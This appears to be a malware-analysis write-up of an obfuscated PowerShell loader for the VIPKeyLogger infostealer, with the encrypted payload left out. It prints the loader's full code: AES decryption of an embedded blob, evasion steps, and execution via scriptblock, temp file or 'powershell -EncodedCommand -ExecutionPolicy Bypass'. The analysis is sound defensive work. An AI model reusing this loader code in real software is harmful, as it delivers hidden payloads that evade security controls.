InfoStealer

VIPKeyLogger - ENCRYPTED.ps1

Author: Moise Medici
Updated: 09 May 2026 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Dropping Secondary Payloads Process Hollowing
Tags: ps1 C#VIPKeyLogger

Powershell Code Analysis

The file, if opened with any text editor, will show the following PowerShell code. The author has been very kind to leave comments and variable names. In the code below, the whole content of CipherMatrix has been removed since it is about 3k lines long. However, it will be shown shortly how to extract it.

The first step could be to have a high-level view of what the script is doing, and if there are functions, when they are executed. Obviously, since there is a huge block of encoded/encrypted text, a big focus will be to understand when and how it gets executed. Possibly, the lines that are more telling are those highlighted in the code block below.

1
# MATRIX DECRYPTION SYSTEM - Layered Defense Pattern
2
# LAYER 1: Data Reconstruction
3
$CipherMatrix = @(
4
    "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",
5

6
    < huge amount of code>
7

8
        "PzHHnpMKuin2HKN2k7Kq4U4Sw0BPLP3c5dYTMCT7sHDF4GnFtEO3RyIYzxttrokp"
9

10
)
11
$KeyCipher = "IOEUkF/1zfTTrASivTjQi7l+qZOiwJY6tPPj844/ymk="
12
$VectorCipher = "Ha9b/CLnDkgPv7AxPpvSYA=="
13

14
# LAYER 2: Core Transformation Functions
15
function Resolve-EncryptionKey {
16
    param([string]$CipherText)
17

18
    $DecodeAttempts = @(
19
        { [System.Convert]::FromBase64String($CipherText) },
20
        {
21
            $bytes = [System.Convert]::FromBase64String($CipherText)
22
            $bytes[0..($bytes.Length-1)]
23
        },
24
        {
25
            $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CipherText))
26
            [System.Text.Encoding]::UTF8.GetBytes($decoded)
27
        }
28
    )
29

30
    foreach ($attempt in $DecodeAttempts) {
31
        try {
32
            return & $attempt
33
        } catch { continue }
34
    }
35
    return $null
36
}
37

38
function Assemble-DataMatrix {
39
    param([string[]]$Fragments)
40

41
    $byteStream = [System.Collections.Generic.List[byte]]::new()
42
    foreach ($fragment in $Fragments) {
43
        $decoded = [System.Convert]::FromBase64String($fragment)
44
        $byteStream.AddRange($decoded)
45
    }
46
    return $byteStream.ToArray()
47
}
48

49
function Process-CipherBlock {
50
    param(
51
        [byte[]]$DataStream,
52
        [byte[]]$CipherKey,
53
        [byte[]]$InitVector
54
    )
55

56
    # Create AES provider with reverse engineering protection
57
    $AesEngine = [System.Security.Cryptography.Aes]::Create()
58
    $AesEngine.Mode = [System.Security.Cryptography.CipherMode]::CBC
59
    $AesEngine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
60
    $AesEngine.KeySize = 256
61
    $AesEngine.BlockSize = 128
62

63
    # Apply key and IV through multiple assignments
64
    $KeyBuffer = New-Object byte[] 32
65
    [System.Buffer]::BlockCopy($CipherKey, 0, $KeyBuffer, 0, [Math]::Min($CipherKey.Length, 32))
66
    $AesEngine.Key = $KeyBuffer
67

68
    $IVBuffer = New-Object byte[] 16
69
    [System.Buffer]::BlockCopy($InitVector, 0, $IVBuffer, 0, [Math]::Min($InitVector.Length, 16))
70
    $AesEngine.IV = $IVBuffer
71

72
    # Perform decryption with memory optimization
73
    $Decryptor = $AesEngine.CreateDecryptor()
74
    $MemoryStream = New-Object System.IO.MemoryStream($DataStream, 0, $DataStream.Length)
75
    $CryptoStream = New-Object System.Security.Cryptography.CryptoStream(
76
        $MemoryStream,
77
        $Decryptor,
78
        [System.Security.Cryptography.CryptoStreamMode]::Read
79
    )
80

81
    $ResultStream = New-Object System.IO.MemoryStream
82
    $CryptoStream.CopyTo($ResultStream)
83

84
    $CryptoStream.Dispose()
85
    $MemoryStream.Dispose()
86
    $AesEngine.Dispose()
87

88
    return $ResultStream.ToArray()
89
}
90

91
# LAYER 3: Execution Engine with Anti-Debugging
92
function Invoke-StealthExecution {
93
    param([string]$ScriptPayload)
94

95
    # Multiple execution vectors
96
    $ExecutionVectors = @(
97
        { param($s)
98
            $scriptBlock = [scriptblock]::Create($s)
99
            & $scriptBlock
100
        },
101
        { param($s)
102
            $tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
103
            [System.IO.File]::WriteAllText($tempFile, $s)
104
            & $tempFile
105
            Remove-Item $tempFile -Force
106
        },
107
        { param($s)
108
            $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s))
109
            powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass
110
        }
111
    )
112

113
    # Rotate execution methods
114
    $rotationSeed = (Get-Date).Millisecond % $ExecutionVectors.Count
115
    $selectedVector = $ExecutionVectors[$rotationSeed]
116

117
    return & $selectedVector $ScriptPayload
118
}
119

120
# LAYER 4: Main Orchestration Sequence
121
function Initiate-DecryptionSequence {
122
    # Phase 1: Material Reconstruction
123
    Write-Verbose "[+] Assembling cipher matrix..."
124
    $CipherStream = Assemble-DataMatrix -Fragments $CipherMatrix
125

126
    Write-Verbose "[+] Resolving encryption components..."
127
    $DecryptionKey = Resolve-EncryptionKey -CipherText $KeyCipher
128
    $InitializationVector = Resolve-EncryptionKey -CipherText $VectorCipher
129

130
    if (-not $DecryptionKey -or -not $InitializationVector) {
131
        throw "Failed to resolve encryption materials"
132
    }
133

134
    # Phase 2: Data Processing
135
    Write-Verbose "[+] Processing cipher blocks..."
136
    $DecryptedBytes = Process-CipherBlock -DataStream $CipherStream `
137
                                          -CipherKey $DecryptionKey `
138
                                          -InitVector $InitializationVector
139

140
    if (-not $DecryptedBytes) {
141
        throw "Decryption process failed"
142
    }
143

144
    # Phase 3: Payload Reconstruction
145
    Write-Verbose "[+] Reconstructing payload..."
146
    $DecryptedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)
147

148
    return $DecryptedScript
149
}
150

151
# LAYER 5: Execution Framework
152
try {
153
    # Environmental checks
154
    if ($env:PROCESSOR_ARCHITECTURE -notmatch "64|86") {
155
        throw "Unsupported architecture"
156
    }
157

158
    # Random delay to avoid pattern recognition
159
    $DelayInterval = Get-Random -Minimum 50 -Maximum 300
160
    Start-Sleep -Milliseconds $DelayInterval
161

162
    # Execute decryption sequence
163
    $FinalPayload = Initiate-DecryptionSequence
164

165
    if ($FinalPayload) {
166
        # Clean execution environment
167
        Remove-Variable -Name CipherMatrix, KeyCipher, VectorCipher -Force -ErrorAction SilentlyContinue
168
        [System.GC]::Collect()
169
        [System.GC]::WaitForPendingFinalizers()
170

171
        # Execute with obfuscation
172
        Invoke-StealthExecution -ScriptPayload $FinalPayload
173
    }
174
} catch {
175
    $ErrorSignal = $_.Exception.Message
176
    Write-Debug "[MATRIX_FAILURE] $ErrorSignal"
177
    exit 1
178
}
179

180
# Cleanup artifacts
181
Get-Variable | Where-Object { $_.Name -match "Cipher|Key|Vector|Matrix" } | Remove-Variable -Force
182
[System.GC]::Collect()
183
[System.GC]::WaitForPendingFinalizers()

The choice of these lines is simply that they seem to be giving more context on what the script is doing. Looking at CipherMatrix first:

3
$CipherMatrix = @(
4
    "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",

The last two characters (==) are very common padding for Base64 encoding. So while looking at the code, it is useful to see if there is a Base64 decoding function, which is found here:

19
{ [System.Convert]::FromBase64String($CipherText) },

Also, note that the CipherText variable is Base64 encoded, and this can be understood by the presence of + and / in the string. These symbols often come from a previous encryption or encoding of the string. Since plain text contains predictable byte patterns, the Base64 representation often happens to map mostly to letters and numbers. Compression like Gzip produces high entropy, almost random bytes, so Base64 encoding of that data naturally uses the full alphabet, including + and /. In CyberChef this behavior can be observed 1, and the link in the caption provides a prepared recipe that demonstrates what is described above.

Now it is useful to keep in mind that the goal is to locate a decompression or decryption functionality, which is found at line 73:

73
$Decryptor = $AesEngine.CreateDecryptor()

This should be enough to understand how to get the cleartext value of the string. The last thing to look for is whether the sample is going to write to file or execute the code directly.

Here it seems like it might be doing both, since the $tempFile, whatever that is going to be, is executed by the call operator (& 2) before getting deleted.

102
$tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"
103
[System.IO.File]::WriteAllText($tempFile, $s)
104
& $tempFile
105
Remove-Item $tempFile -Force

Lastly, the FinalPayload variable is used as argument of the custom function Invoke-StealthExecution:

1
Invoke-StealthExecution -ScriptPayload $FinalPayload

Which inside invokes a new PowerShell subshell and executes the argument passed:

1
powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass

Note that the -NoProfile 3 and -ExecutionPolicy Bypass are typical of malware, even though they were originally meant for configuration scripts 4:

Bypass:

Nothing is blocked and there are no warnings or prompts.

This execution policy is designed for configurations in which a PowerShell script is built into a larger application or for configurations in which PowerShell is the foundation for a program that has its own security model.